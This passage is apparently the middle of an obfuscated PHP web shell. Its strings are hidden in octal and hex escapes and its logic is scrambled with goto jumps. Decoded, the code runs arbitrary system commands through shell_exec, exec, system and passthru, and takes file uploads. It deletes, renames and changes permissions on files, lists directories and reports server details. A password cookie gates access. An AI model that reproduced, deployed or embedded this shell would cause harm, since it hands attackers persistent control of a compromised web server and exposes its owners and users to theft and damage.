\x6f\162\155\x3e\x3c\57\164\144\76\x3c\57\x74\141\x62\x6c\145\x3e"; goto uXYKz; Am4C8: function Y2ifJ() { goto VMEGp; KIEMN: ccEHh: goto Sk9wt; sXS8i: return "\104\151\x73\x61\x62\x6c\x65\x64"; goto mKg90; VMEGp: if (function_exists("\145\130\63\155\x4b")) { goto iZs90; } goto sXS8i; IXH3J: iZs90: goto r2jAg; r2jAg: return "\x45\156\x61\x62\154\x65\x64"; goto KIEMN; mKg90: goto ccEHh; goto IXH3J; Sk9wt: } goto yNNpV; mhQCg: $P2tZg = $_GET["\144"]; goto fodQL; Q215G: ZwalW(); goto gys12; xiA3g: ZEht2: goto SQFBs; rWrLq: if (!(is_dir($gjck_) && $gjck_ != "\56" && $gjck_ != "\x2e\x2e")) { goto Q418N; } goto sra3s; bnRRa: function xFXFf($gKiEt, $CpUWl) { goto ardFi; ardFi: switch ($gKiEt) { case "\x73\x68\x65\x6c\x6c\x5f\145\170\x65\x63": print '' . htmlspecialchars(shell_exec($CpUWl)) . ''; goto zi2Pc; case "\145\170\145\143": goto vX9H4; feCBg: iTJ5P: goto P6efM; yTy2Y: foreach ($A5wA9 as $r1_ub) { print htmlspecialchars($r1_ub) . "\x3c\142\x72\x3e"; mbGWa: } goto feCBg; vX9H4: exec($CpUWl, $A5wA9); goto yTy2Y; P6efM: goto zi2Pc; goto GVHdj; GVHdj: case "\x73\x79\163\x74\145\x6d": goto i9dDM; Mt3aK: goto zi2Pc; goto ob60H; i9dDM: system($CpUWl, $ntkBa); goto j7Uqr; j7Uqr: print "\122\x65\164\165\162\x6e\x20\166\x61\154\165\145\x3a\40" . $ntkBa; goto Mt3aK; ob60H: case "\160\141\x73\x73\x74\x68\x72\165": goto gVQG2; gVQG2: passthru($CpUWl, $ntkBa); goto kTfWf; kTfWf: print "\x52\x65\164\x75\x72\x6e\40\x76\x61\154\165\145\x3a\x20" . $ntkBa; goto xhKT8; xhKT8: goto zi2Pc; goto KbzPl; KbzPl: default: print "\103\x6f\155\155\x61\156\144\x20\145\x78\145\143\x75\164\x69\x6f\156\40\156\157\164\x20\x61\x76\141\x69\154\141\142\154\x65"; } goto wksv5; wksv5: Zi14j: goto HeBrv; HeBrv: zi2Pc: goto qE4AB; qE4AB: } goto kg7xX; qnvfm: chmod($P2tZg, $FhByS); goto elGa_; wlIg0: I7E6z: goto cBw30; pYbPt: vCWkT: goto LbEgC; o2Ezk: print "\74\164\144\40\143\157\x6c\x73\x70\x61\156\x3d\x33\x20\141\154\x69\x67\156\75\x22\143\x65\x6e\164\145\x72\42\x3e\74\141\x20\150\x72\145\146\x3d\42\x3f\x78\x3d\160\x68\160\151\x6e\x66\x22\40\x74\141\162\147\145\x74\75\42\x5f\x62\x6c\x61\x6e\x6b\42\x3e\x50\110\x50\x49\x6e\146\157\74\57\x61\x3e\74\x2f\164\144\76\74\57\164\141\x62\154\x65\76"; goto oIq55; kg7xX: function aRd00() { goto pjgBe; FjG0S: fAqjV: goto N_aLp; zEXSr: PAg5C: goto pta4f; Gl02H: if (function_exists("\160\141\x73\163\164\x68\162\x75")) { goto OttaD; } goto sR1qs; nR1pz: return "\x73\150\x65\154\x6c\x5f\145\170\x65\x63"; goto ANy5s; uRQAL: goto PAg5C; goto eSAow; eSAow: b0t4Z: goto vc243; N_aLp: return "\x65\170\x65\x63"; goto uRQAL; kuhpq: MLN3_: goto nR1pz; SShum: if (function_exists("\163\171\163\164\145\155")) { goto b0t4Z; } goto Gl02H; bVg53: return "\160\x61\x73\163\164\x68\162\x75"; goto zEXSr; GJ3hV: if (function_exists("\145\x78\145\143")) { goto fAqjV; } goto SShum; deTrb: OttaD: goto bVg53; ANy5s: goto PAg5C; goto FjG0S; sR1qs: return ''; goto r11CA; vc243: return "\x73\171\163\164\x65\155"; goto x32hh; r11CA: goto PAg5C; goto kuhpq; x32hh: goto PAg5C; goto deTrb; pjgBe: if (function_exists("\x73\x68\145\x6c\x6c\137\145\x78\x65\x63")) { goto MLN3_; } goto GJ3hV; pta4f: } goto myg_B; elGa_: mT5eY: goto km6t1; bdfu4: $VmS0W = $_POST["\x6f\x6c\144"]; goto QfkKu; CvZn0: goto acCfB; goto Wf5PT; NQwHy: foreach ($HnSHL as $fkqzQ => $vPVYI) { print "\74\164\x64\x3e" . $fkqzQ . "\74\57\164\x64\76\74\x74\x64\x3e\x20\72\76\40\74\x2f\x74\x64\76\x3c\164\x64\x3e\40" . $vPVYI . "\74\x2f\164\x64\x3e\x3c\x74\162\76"; SwyoO: } goto zrtX_; nd4Pg: if (!($gjck_ !== false)) { goto LCXOC; } goto rWrLq; I03BV: if (isset($_REQUEST["\170"])) { goto zoCIN; } goto OYmk4; ST0cL: print "\74\164\x61\x62\x6c\145\x20\151\x64\75\x22\x6d\x6f\162\x65\x49\42\76"; goto NQwHy; ZdXRN: VAxN_: goto LcOe3; CpCx1: $gjck_ = readdir($P2tZg); goto KQ6D2; V4IHB: if (!isset($_GET["\144\145\154\x64"])) { goto VeAny; } goto jyMMO; QfkKu: $P2tZg = $_POST["\144"]; goto Al_O3; jqjMS: move_uploaded_file($_FILES["\x75\160\146\x69\154\145"]["\164\x6d\160\x5f\156\141\x6d\x65"], $P2tZg); goto ZdXRN; CmL3p: $V_GPH = getcwd(); goto MFn3P; Zt0xB: unlink($P2tZg); goto bCOLe; BoBAy: function cnIJl() { goto XubFv; DTuwp: goto JPAZV; goto R1W8b; VpEDZ: return "\x45\156\x61\x62\x6c\x65\x64"; goto KFZp4; XubFv: if (function_exists("\122\x51\165\x50\111")) { goto lYdar; } goto ddtSa; R1W8b: lYdar: goto VpEDZ; KFZp4: JPAZV: goto dpoTQ; ddtSa: return "\x44\151\163\x61\142\154\x65\144"; goto DTuwp; dpoTQ: } goto dfAi3; eIuXJ: $VKKgS = php_uname(); goto WTIpO; JU0pI: print $I1cB6; goto heFpW; coYuo: function yulYW() { goto L8hkS; vBW0I: return $F6AgQ; goto nLNOt; hLcmh: return "\x4e\x6f\x20\x76\141\154\x75\x65"; goto yCN8T; nLNOt: BuWtG: goto FhXvk; L8hkS: if ($F6AgQ = ini_get("\x6f\160\145\156\x5f\142\141\x73\145\144\151\162")) { goto rk8P4; } goto hLcmh; yCN8T: goto BuWtG; goto E3kNP; E3kNP: rk8P4: goto vBW0I; FhXvk: } goto BoBAy; sIOA7: y_FA3: goto V4IHB; jOy3g: $P2tZg = realpath("\x2e") . DIRECTORY_SEPARATOR . basename($_FILES["\x75\160\146\151\x6c\145"]["\x6e\141\155\145"]); goto jqjMS; BLk8d: $gjck_ = readdir($P2tZg); goto zYMrb; BTZPM: if (!isset($_GET["\x64\145\154\x66"])) { goto JxAPA; } goto KMd3z; jaaHM: function IFp8r() { goto k2_JU; MI7kk: goto XMBLY; goto m0XMy; m0XMy: KE61W: goto HMMXn; CjC5j: return "\x44\x69\163\x61\x62\154\x65\144"; goto MI7kk; j2ltH: XMBLY: goto tayBL; HMMXn: return "\x45\x6e\141\142\154\145\144"; goto j2ltH; k2_JU: if (function_exists("\x64\x43\114\x30\123")) { goto KE61W; } goto CjC5j; tayBL: } goto Znoc_; KLQ4d: mkdir($P2tZg . DIRECTORY_SEPARATOR . $fkqzQ); goto UJJ02; heFpW: $HnSHL = array("\120\x48\120\40\126\x65\162\x73\x69\x6f\156" => phpversion(), "\x5a\x65\156\x64\x20\126\145\162\x73\x69\157\x6e" => zend_version(), "\x4d\141\x67\x69\143\x20\121\165\157\164\x65\x73" => FYG1u(), "\103\165\162\x6c" => Y2ifj(), "\122\145\147\151\163\164\145\x72\40\107\154\x6f\x62\x61\x6c\163" => WkNZx(), "\117\160\x65\156\102\141\163\x65\40\104\151\162" => YulyW(), "\x4d\171\123\x51\x4c" => cNijl(), "\x47\172\x69\160" => nYAaN(), "\115\163\123\x51\114" => IFP8r(), "\120\x6f\163\164\147\162\x65\123\121\x4c" => F2S2k(), "\x4f\x72\141\x63\154\x65" => sa2jQ(), "\x54\x6f\x74\x61\154\40\123\160\141\x63\145" => mv3Ee(disk_total_space("\57")), "\x55\x73\x65\144\x20\123\160\x61\143\145" => MV3ee(disk_free_space("\57")), "\x59\x6f\x75\x72\x20\111\120" => $_SERVER["\122\x45\x4d\117\x54\105\x5f\x41\104\x44\x52"], "\123\145\x72\x76\x65\162\x20\x49\120" => $_SERVER["\x53\105\122\x56\105\122\137\101\104\104\x52"]); goto ST0cL; QK2M0: function ZWALw() { die("\74\163\143\162\x69\x70\x74\76\x77\151\156\144\x6f\x77\x2e\x6c\157\x63\141\164\151\x6f\156\x3d\42\x3f\x22\x3b\x3c\57\x73\x63\162\151\x70\164\x3e"); } goto mcvR4; oIq55: if (!isset($_GET["\144"])) { goto SwNQr; } goto pg8My; x2O5y: dmUxA: goto nd4Pg; KQ6D2: goto dmUxA; goto wBtUu; RQOYJ: acCfB: goto Q1B6K; A_tss: $P2tZg = opendir("\56"); goto EUYq3; km6t1: if (!isset($_FILES["\165\x70\146\x69\154\x65"]["\156\x61\x6d\145"])) { goto VAxN_; } goto jOy3g; dfAi3: function nYAaN() { goto AFMgA; AFMgA: if (function_exists("\x6f\x62\x5f\147\172\150\x61\x6e\x64\154\x65\162")) { goto uxqVJ; } goto T7gIt; WO1aY: y3xYW: goto P0l2Q; Kuiy0: uxqVJ: goto UoASf; T7gIt: return "\104\x69\x73\x61\142\x6c\x65\144"; goto wVWnq; UoASf: return "\105\x6e\x61\x62\154\x65\144"; goto WO1aY; wVWnq: goto y3xYW; goto Kuiy0; P0l2Q: } goto jaaHM; wBtUu: LCXOC: goto z4hNP; MJTX6: $yP38E = $yP38E ? "\74\x66\157\156\164\40\x63\157\154\x6f\x72\x3d\42\x63\x72\x69\155\163\x6f\x6e\42\76\117\116\x3c\57\146\x6f\x6e\164\x3e" : "\x3c\146\157\156\164\x20\x63\x6f\154\157\162\x3d\42\43\143\x63\146\x66\x30\x30\42\x3e\117\x46\106\x3c\57\146\157\156\x74\x3e"; goto CmL3p; uXYKz: $P2tZg = opendir("\x2e"); goto BLk8d; qdmho: if (is_dir($gjck_)) { goto snEKv; } goto w8_qC; KMd3z: $P2tZg = $_GET["\x64\x65\154\x66"]; goto Zt0xB; g1jYQ: SwNQr: goto I03BV; JlVmA: print "\x3c\x74\x61\x62\154\x65\x20\167\151\144\164\x68\75\x39\x30\x25\x20\141\x6c\x69\x67\156\x3d\x22\x63\x65\x6e\x74\x65\162\x22\40\x69\144\75\x22\x66\x74\x22\76\x3c\x74\144\40\x69\x64\75\42\146\150\x22\40\x63\157\x6c\x73\160\141\156\75\x35\40\141\x6c\151\x67\x6e\x3d\42\143\145\x6e\164\145\162\x22\x3e\106\151\154\x65\x73\74\57\x74\144\76"; goto RQOYJ; W6pF0: if (!isset($_POST["\x6e\x65\x77"])) { goto y_FA3; } goto or2vg; Al_O3: rename($P2tZg . DIRECTORY_SEPARATOR . $VmS0W, $P2tZg . DIRECTORY_SEPARATOR . $fkqzQ); goto sIOA7; UBeyC: dd7rO(); goto HB42v; zrtX_: jccCY: goto o2Ezk; zYMrb: print "\x3c\164\x61\142\x6c\145\40\167\x69\x64\x74\150\x3d\x39\x30\45\40\141\x6c\151\147\156\x3d\x22\x63\145\x6e\164\145\x72\x22\40\x69\144\75\x22\146\164\x22\76\74\164\144\40\151\144\x3d\x22\146\x68\42\40\x63\x6f\154\x73\x70\141\x6e\75\x35\x20\141\154\x69\x67\x6e\x3d\42\x63\x65\x6e\164\x65\x72\42\76\x44\151\x72\x65\x63\x74\x6f\x72\x69\x65\163\74\57\x74\x64\76"; goto x2O5y; M6ANb: $nuuFj = "\74\x2f\142\x6f\144\171\x3e\74\x2f\150\164\155\154\x3e"; goto X0spB; WWZN2: function jTbl3($gQePm) { goto GsRj_; daSMr: $dvs5l = "\x70"; goto Vam9Q; r6LsK: $dvs5l = "\x73"; goto oPzXL; VkljU: return $dvs5l; goto ZRGrV; u5LTW: $dvs5l .= $TFmsC & 0x2 ? "\x77" : "\x2d"; goto fEdLm; Kg2ch: q48G5: goto U6feR; KiKST: $dvs5l = "\142"; goto zTzKZ; vtY0U: if (($TFmsC & 0x8000) == 0x8000) { goto q48G5; } goto LLYOm; r9cco: $dvs5l .= $TFmsC & 0x100 ? "\162" : "\55"; goto acF9M; acF9M: $dvs5l .= $TFmsC & 0x80 ? "\x77" : "\55"; goto uBiii; U6feR: $dvs5l = "\x2d"; goto Qu9hu; Vam9Q: nAdRr: goto r9cco; i_HrH: $dvs5l .= $TFmsC & 0x20 ? "\x72" : "\x2d"; goto JpKse; VxhX2: if (($TFmsC & 0x2000) == 0x2000) { goto BCXz1; } goto Ge4vQ; aGyL_: goto nAdRr; goto MflgJ; vRtW9: IoRFb: goto KiKST; JpKse: $dvs5l .= $TFmsC & 0x10 ? "\167" : "\x2d"; goto Wd9JG; VZGO0: if (($TFmsC & 0xa000) == 0xa000) { goto Cco9X; } goto vtY0U; wxbUC: $dvs5l = "\144"; goto aGyL_; SYq21: $dvs5l = "\x6c"; goto MnLSy; uBiii: $dvs5l .= $TFmsC & 0x40 ? $TFmsC & 0x800 ? "\163" : "\x78" : ($TFmsC & 0x800 ? "\123" : "\55"); goto i_HrH; oPzXL: goto nAdRr; goto UjO7Y; fEdLm: $dvs5l .= $TFmsC & 0x1 ? $TFmsC & 0x200 ? "\164" : "\170" : ($TFmsC & 0x200 ? "\x54" : "\55"); goto VkljU; LLYOm: if (($TFmsC & 0x6000) == 0x6000) { goto IoRFb; } goto I8qOh; GsRj_: $TFmsC = fileperms($gQePm); goto LZ7He; LZ7He: if (($TFmsC & 0xc000) == 0xc000) { goto SyTX1; } goto VZGO0; wOk6z: $dvs5l .= $TFmsC & 0x4 ? "\x72" : "\55"; goto u5LTW; tAeFA: D0Dxz: goto daSMr; Wd9JG: $dvs5l .= $TFmsC & 0x8 ? $TFmsC & 0x400 ? "\163" : "\x78" : ($TFmsC & 0x400 ? "\123" : "\55"); goto wOk6z; QRYDS: SyTX1: goto r6LsK; IRvSc: beM1I: goto wxbUC; Qu9hu: goto nAdRr; goto vRtW9; zTzKZ: goto nAdRr; goto IRvSc; UjO7Y: Cco9X: goto SYq21; Bk1it: $dvs5l = "\143"; goto WCBGH; ET6Qx: goto nAdRr; goto QRYDS; TsExn: $dvs5l = "\165"; goto ET6Qx; Ge4vQ: if (($TFmsC & 0x1000) == 0x1000) { goto D0Dxz; } goto TsExn; WCBGH: goto nAdRr; goto tAeFA; MflgJ: BCXz1: goto Bk1it; I8qOh: if (($TFmsC & 0x4000) == 0x4000) { goto beM1I; } goto VxhX2; MnLSy: goto nAdRr; goto Kg2ch; ZRGrV: } goto kvDLF; mndPk: print $Le8wB; goto G9cr2; sra3s: print "\74\x74\x72\x20\151\144\75\42\146\x6e\x22\x3e\x3c\x74\144\x3e\74\141\x20\x68\x72\145\x66\75\42\77\144\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\42\76" . $gjck_ . "\x3c\x2f\141\76\x3c\57\x74\144\76\74\164\144\76" . jtbl3(realpath("\56") . DIRECTORY_SEPARATOR . $gjck_) . "\x3c\57\x74\x64\76\74\x74\144\x3e\74\x61\x20\x68\x72\x65\146\75\x22\77\144\x65\x6c\x64\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\42\76\x44\145\x6c\x65\164\145\x3c\57\x61\x3e\x3c\57\164\144\76\x3c\x74\x64\x3e\x3c\141\40\150\162\145\x66\75\x22\x3f\170\x3d\x63\46\144\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\x22\x3e\x52\x65\156\x61\155\145\74\x2f\141\76\74\x2f\164\x64\76\74\x2f\x74\162\76"; goto bPmZb; f4sdJ: $Le8wB = "\74\x68\164\155\x6c\76\x3c\150\145\141\x64\76\74\164\151\164\x6c\x65\76\104\162\x5f\123\x51\x4c\x3c\57\x74\x69\x74\154\145\76\74\x73\x74\x79\154\x65\76\142\x6f\x64\x79\40\x7b\x62\x61\x63\x6b\x67\162\x6f\x75\156\x64\x3a" . $xZTDQ . "\x3b\143\157\x6c\x6f\162\x3a" . $nSlOI . "\x3b\x66\x6f\x6e\164\55\x73\151\x7a\x65\x3a\71\x70\164\73\146\x6f\156\x74\55\146\x61\155\x69\154\171\x3a\x54\162\x65\x62\165\143\x68\145\164\x20\x4d\x53\54\143\165\x72\x73\x69\166\x65\x2c\x73\x61\156\163\x20\163\145\x72\x69\146\x3b\175\150\61\43\x6e\x7b\160\157\x73\x69\x74\x69\157\x6e\72\146\x69\x78\145\x64\73\x74\157\160\72\x31\x30\160\x78\x3b\x6c\x65\146\164\72\61\x30\160\x78\x3b\164\x65\x78\x74\x2d\x73\x68\141\144\157\x77\x3a\60\x70\x78\x20\60\160\170\40\x35\x70\x78\40\142\154\141\x63\x6b\x3b\143\x6f\x6c\157\162\x3a\43\x37\71\x61\x33\x31\x37\x3b\x7d\x68\61\43\x6e\x6d\x7b\x74\x65\x78\x74\55\163\x68\x61\x64\x6f\167\72\60\x70\170\x20\x30\160\x78\x20\x35\x70\170\40\x62\154\x61\143\153\x3b\143\x6f\154\x6f\x72\x3a\x23\67\x39\141\x33\x31\67\x3b\175\x61\40\173\x63\157\154\x6f\162\x3a" . $nSlOI . "\x3b\164\145\x78\x74\55\144\x65\x63\157\162\x61\x74\x69\x6f\156\72\x6e\x6f\x6e\145\73\x66\x6f\156\x74\x2d\x66\141\x6d\151\x6c\x79\72\x43\x6f\x6d\151\143\x20\x53\x61\156\163\40\115\x73\x2c\x63\165\x72\163\x69\166\x65\54\163\141\x6e\163\x20\163\x65\x72\151\x66\x3b\175\x61\x3a\150\157\x76\145\162\40\173\x63\157\x6c\157\x72\72\43\67\71\x61\63\x31\67\x3b\x7d\150\162\x20\x7b\x62\x61\x63\x6b\x67\162\157\165\x6e\144\72" . $nSlOI . "\73\143\157\x6c\157\x72\72\142\x6c\x61\143\153\73\175\160\43\142\143\x6b\x7b\x70\x6f\163\x69\164\151\157\156\72\146\151\x78\145\x64\73\164\157\160\x3a\62\x30\x70\170\x3b\162\151\147\150\x74\72\x32\60\160\x78\x3b\175\x23\155\145\x6e\165\40\x7b\160\157\x73\x69\x74\x69\157\x6e\x3a\146\151\x78\x65\x64\73\x62\x6f\x74\x74\x6f\x6d\x3a\60\160\x78\73\x77\151\x64\x74\150\x3a\61\60\60\45\73\146\x6f\x6e\164\x2d\163\151\x7a\145\x3a\61\x33\x70\x74\73\175\x23\x6d\145\x6e\x75\x42\40\173\142\x61\x63\153\147\x72\157\165\x6e\x64\72" . $xZTDQ . "\73\142\157\170\55\163\x68\x61\x64\x6f\x77\x3a\x30\x70\170\40\60\160\170\x20\61\x30\x70\170\x20\142\154\141\x63\x6b\73\x62\157\x72\x64\x65\162\55\x72\x61\x64\x69\x75\163\72\61\x35\160\x78\73\160\x61\144\x64\x69\156\147\72\65\160\170\40\x32\60\x70\x78\40\65\x70\170\x20\x32\x30\160\170\73\175\x74\141\142\154\145\x23\x6d\157\162\145\111\x7b\146\157\156\164\x2d\x73\151\172\x65\x3a\71\x70\x74\73\142\141\143\x6b\x67\x72\x6f\165\156\144\72" . $xZTDQ . "\x3b\x62\x6f\x72\144\x65\x72\x2d\x72\141\144\x69\x75\x73\72\x31\60\x70\170\x3b\142\x6f\x78\x2d\163\150\141\144\157\x77\72\60\160\170\40\x30\160\x78\40\x31\60\160\x78\x20\x62\x6c\141\x63\x6b\73\160\x61\144\144\151\x6e\x67\72\x35\x70\x78\x3b\160\157\x73\x69\164\x69\x6f\x6e\72\146\x69\x78\x65\x64\x3b\142\157\164\x74\x6f\x6d\x3a\x34\60\160\170\73\162\x69\147\150\x74\x3a\64\x30\160\170\73\144\151\x73\x70\x6c\141\171\x3a\156\x6f\x6e\x65\x3b\x7d\x70\x23\x63\160\40\173\146\157\156\164\55\163\x69\172\145\72\x31\61\160\x74\x3b\175\x74\x61\x62\154\x65\43\x6c\x74\x20\x7b\146\157\x6e\164\55\163\x69\x7a\x65\x3a\x31\x30\x70\x74\73\x7d\151\x6e\x70\165\x74\43\x6c\164\x2c\x69\156\160\x75\x74\43\163\x76\40\x7b\142\x61\143\153\x67\x72\x6f\165\x6e\144\72" . $xZTDQ . "\73\142\x6f\x72\144\145\x72\x2d\x72\141\144\151\x75\x73\72\61\60\x70\170\73\x62\x6f\162\x64\x65\162\x3a\61\x70\170\x20\x73\157\154\151\x64\40" . $nSlOI . "\x3b\143\x6f\154\157\162\72" . $nSlOI . "\x3b\164\x65\170\164\x2d\x61\154\151\147\156\72\143\145\156\x74\145\162\x3b\x7d\x69\x6e\160\165\x74\43\154\164\142\x20\173\x62\141\x63\x6b\147\162\157\x75\156\x64\72\162\x67\142\x61\x28\60\x2c\60\x2c\60\x2c\x30\x29\x3b\x62\157\x72\144\x65\x72\x2d\x72\x61\x64\x69\x75\x73\72\61\x30\160\x78\x3b\143\157\x6c\157\162\x3a" . $nSlOI . "\x3b\x62\x6f\170\x2d\x73\x68\141\144\x6f\x77\x3a\x30\160\x78\40\x30\x70\x78\x20\x31\160\x78\40" . $nSlOI . "\x3b\142\157\x72\x64\x65\x72\72\60\x70\x78\40\163\157\x6c\x69\x64\40\x72\x67\x62\141\x28\x30\54\x30\54\60\54\x30\51\73\175\x74\141\142\154\x65\43\x66\164\40\173\146\157\x6e\x74\x2d\x73\151\172\145\72\71\160\x74\x3b\x70\141\x64\x64\151\156\147\x3a\65\160\x78\x3b\x62\x6f\x72\144\x65\162\55\162\141\144\x69\165\x73\72\x31\x30\x70\x78\x3b\142\157\170\55\163\x68\141\144\x6f\x77\x3a\60\160\170\x20\x30\x70\170\40\x31\x30\x70\x78\x20\142\154\141\143\153\73\175\164\x64\x23\x66\150\x20\173\x62\157\162\144\145\x72\x2d\142\157\x74\x74\x6f\x6d\72\x31\x70\170\40\163\157\154\151\144\40" . $nSlOI . "\73\x70\x61\144\144\x69\x6e\147\55\142\x6f\164\164\157\x6d\x3a\63\x70\x78\x3b\x7d\x74\162\x23\146\156\72\x68\x6f\x76\x65\162\173\142\x6f\170\55\x73\x68\141\144\x6f\167\x3a\x30\160\x78\x20\x30\160\x78\x20\65\160\170\40\x62\x6c\x61\143\153\73\x7d\150\x33\40\x7b\x74\x65\170\164\55\x73\x68\141\x64\x6f\167\72\60\x70\x78\40\x30\x70\170\x20\64\x70\170\x20\142\x6c\141\143\x6b\x3b\x66\157\156\x74\55\163\151\x7a\x65\72\x31\63\160\x74\x3b\175\x74\145\170\164\141\x72\x65\141\43\x65\x64\151\164\x20\173\142\x61\143\153\147\162\x6f\165\x6e\x64\72" . $xZTDQ . "\73\x63\157\x6c\x6f\162\72" . $nSlOI . "\x3b\x62\157\x78\55\163\x68\x61\144\157\167\x3a\x30\160\170\x20\60\x70\170\40\61\60\x70\x78\40\142\x6c\141\x63\x6b\x3b\142\x6f\x72\144\145\162\55\162\141\x64\x69\x75\x73\72\61\x30\160\x78\x3b\142\157\x72\x64\x65\162\x3a\x6e\x6f\156\145\x3b\160\x61\144\144\x69\156\147\x3a\x31\x30\x70\x78\x3b\175\x3c\x2f\x73\x74\171\154\145\x3e\74\163\x63\x72\x69\160\x74\x20\164\171\160\145\x3d\x22\x74\x65\x78\x74\x2f\152\141\x76\141\163\x63\x72\151\x70\164\42\76\x66\x75\156\143\x74\151\x6f\156\x20\x67\x65\164\x5f\x69\x6e\x66\x28\51\40\173\x69\x66\x28\x64\x6f\143\x75\155\145\x6e\164\x2e\x67\145\164\x45\x6c\x65\x6d\145\156\164\102\171\111\x64\x28\47\x6d\x6f\x72\x65\111\47\x29\56\x73\x74\171\x6c\x65\56\x64\151\x73\x70\x6c\141\x79\75\x3d\x22\142\x6c\157\143\x6b\42\x29\x7b\x64\157\x63\165\x6d\x65\156\164\x2e\x67\145\x74\x45\x6c\145\x6d\x65\156\164\x42\171\111\144\50\x27\x6d\x6f\x72\x65\111\47\x29\x2e\x73\164\171\154\x65\56\144\x69\x73\x70\x6c\141\171\x3d\x22\156\x6f\156\x65\x22\175\x65\154\163\x65\x20\173\144\x6f\143\165\x6d\x65\x6e\164\56\x67\145\164\105\x6c\x65\x6d\145\x6e\164\102\x79\x49\x64\x28\x27\x6d\x6f\x72\145\111\x27\51\x2e\x73\164\171\154\145\56\x64\x69\163\x70\154\x61\171\x3d\42\x62\x6c\157\143\x6b\42\x3b\x7d\175\40\146\x75\156\143\x74\151\x6f\156\x20\x78\x79\156\50\x69\144\x31\54\x69\144\62\51\x20\173\x64\157\x63\x75\x6d\x65\156\x74\56\x67\145\164\x45\x6c\x65\155\145\x6e\x74\x42\x79\x49\144\x28\x69\144\x31\51\56\163\x74\x79\x6c\145\x2e\x64\151\163\160\x6c\141\x79\x3d\x22\142\154\157\143\153\42\x3b\144\x6f\143\165\155\x65\x6e\164\56\x67\x65\x74\x45\154\145\155\x65\x6e\164\x42\171\x49\x64\50\151\144\x32\51\x2e\x73\x74\171\x6c\x65\56\x64\x69\163\x70\x6c\141\171\x3d\42\156\157\x6e\145\x22\73\175\74\x2f\x73\143\162\151\x70\164\76\74\x2f\x68\145\x61\x64\x3e\74\142\157\x64\171\76\x3c\150\x31\x20\x69\144\x3d\42\x6e\x22\76\74\x61\x20\x68\x72\145\x66\75\x22\x3f\170\x3d\x78\42\x3e\x3c\x2f\141\76\x3c\x2f\150\x31\x3e"; goto py7L6; Gw3LK: VeAny: goto BTZPM; p8tel: setcookie($P0o4I, $_POST["\160\x61\x73\163"], time() + 3600); goto uuvqY; Q1B6K: if (!($gjck_ !== false)) { goto JMFgA; } goto qdmho; SQFBs: $smU6v = basename(__FILE__); goto vG9Yt; Tu8tx: $P0o4I = "\x74\165\x6e\141\146\x65\x65\x73\x68"; goto lHOPj; X0spB: $I1cB6 = "\x3c\143\145\156\164\145\162\x3e\x3c\x70\x20\x69\x64\75\42\x69\x6e\146\42\76\174\174\x7c\x20\x3c\x62\x3e\74\151\x3e\x3c\x75\76\123\x6f\146\x74\x77\x61\162\x65\72\x3c\x2f\x75\76\74\57\151\76\x3c\x2f\x62\x3e\40" . $JM9n0 . "\40\40\174\174\x7c\x20\40\74\x62\x3e\74\x69\x3e\74\165\76\125\x6e\x61\155\145\72\x3c\x2f\165\x3e\x3c\57\x69\76\74\x2f\x62\76\x20" . $VKKgS . "\40\174\x7c\174\x3c\x2f\142\162\x3e\x7c\x7c\x7c\40\74\142\x3e\x3c\151\76\x3c\165\x3e\x55\x73\145\x72\x3a\74\57\x75\x3e\x3c\57\151\76\x3c\57\x62\x3e\x20" . $Ml38_ . "\x20\174\x7c\x7c\x20\x3c\142\x3e\74\x69\x3e\74\165\76\123\x61\146\145\40\x4d\x6f\144\145\72\74\57\x75\76\x3c\57\151\76\74\57\x62\76\x20" . $yP38E . "\40\174\x7c\x7c\x20\74\x62\x3e\x3c\x69\76\74\x75\x3e\x44\x69\162\145\x63\x74\157\x72\x79\x3a\40\x3c\x2f\x69\x3e\74\57\x62\76\x3c\x2f\x75\76" . $V_GPH . "\x20\x7c\174\174\74\x2f\x70\x3e\x3c\57\x63\x65\156\164\145\x72\x3e\74\150\x72\x3e"; goto mndPk; HB42v: die; goto xiA3g; pg8My: chdir($_GET["\x64"]); goto g1jYQ; N7cdB: zoCIN: goto b5T1W; EUYq3: $gjck_ = readdir($P2tZg); goto JlVmA; joLY4: if (!($_POST["\x70\141\x73\163"] == $S8GJ1)) { goto L3J2u; } goto p8tel; bCOLe: JxAPA: goto wSUBA; jyMMO: $P2tZg = $_GET["\144\x65\154\x64"]; goto qcRtq; aVRj0: $FhByS = $_GET["\143\150"]; goto Ai1mQ; cBw30: if (!isset($_GET["\156\x64\x69\162"])) { goto swjns; } goto mhQCg; z4hNP: print "\x3c\x2f\x74\141\142\x6c\x65\x3e"; goto A_tss; Znoc_: function f2s2k() { goto RAgKW; hGMEN: return "\105\156\x61\142\x6c\x65\144"; goto ta1q8; Ax_5u: goto dcw7E; goto lbMys; lbMys: f1d1d: goto hGMEN; cSubg: return "\x44\x69\x73\141\142\154\x65\x64"; goto Ax_5u; RAgKW: if (function_exists("\x63\x6f\154\111\117")) { goto f1d1d; } goto cSubg; ta1q8: dcw7E: goto xqEKG; xqEKG: } goto dGDdn; Wf5PT: JMFgA: goto HhExg; kvDLF: function NnAm6($hBaye) { goto Jr0ug; h4PaY: foreach ($iqg1v as $g_O8w => $kidvc) { goto VO862; SKKnL: $bnIMQ = 0; goto SMA2I; nLU7d: RgWqO: goto R1Fs2; eQJ41: xO42B: goto rJhkk; VO862: $x9ZSk .= "\74\141\40\150\162\x65\146\x3d\x22\x3f\144\x3d"; goto SKKnL; HHXeC: $x9ZSk .= $iqg1v[$bnIMQ] . DIRECTORY_SEPARATOR; goto nLU7d; vi1Ac: Ek6Cx: goto s5WHm; s5WHm: $x9ZSk .= "\x22\76" . $kidvc . DIRECTORY_SEPARATOR . "\74\x2f\x61\76"; goto eQJ41; R1Fs2: $bnIMQ++; goto aAANr; HuEG1: if (!($bnIMQ <= $g_O8w)) { goto Ek6Cx; } goto HHXeC; SMA2I: NeBcZ: goto HuEG1; aAANr: goto NeBcZ; goto vi1Ac; rJhkk: } goto AlSdJ; Jr0ug: $iqg1v = explode(DIRECTORY_SEPARATOR, realpath("\56") . $hBaye); goto ZdYTU; YD2WC: return $x9ZSk; goto VvWui; AlSdJ: h4E9E: goto YD2WC; ZdYTU: $x9ZSk = ''; goto h4PaY; VvWui: } goto QK2M0; lYu95: switch ($_REQUEST["\170"]) { case "\x63": goto NFjxw; mxftz: obeqS: goto VmbT0; mnWsM: fclose($tgcC_); goto h2RNi; o3rZI: $tgcC_ = fopen($Nnn2T, "\167") or print 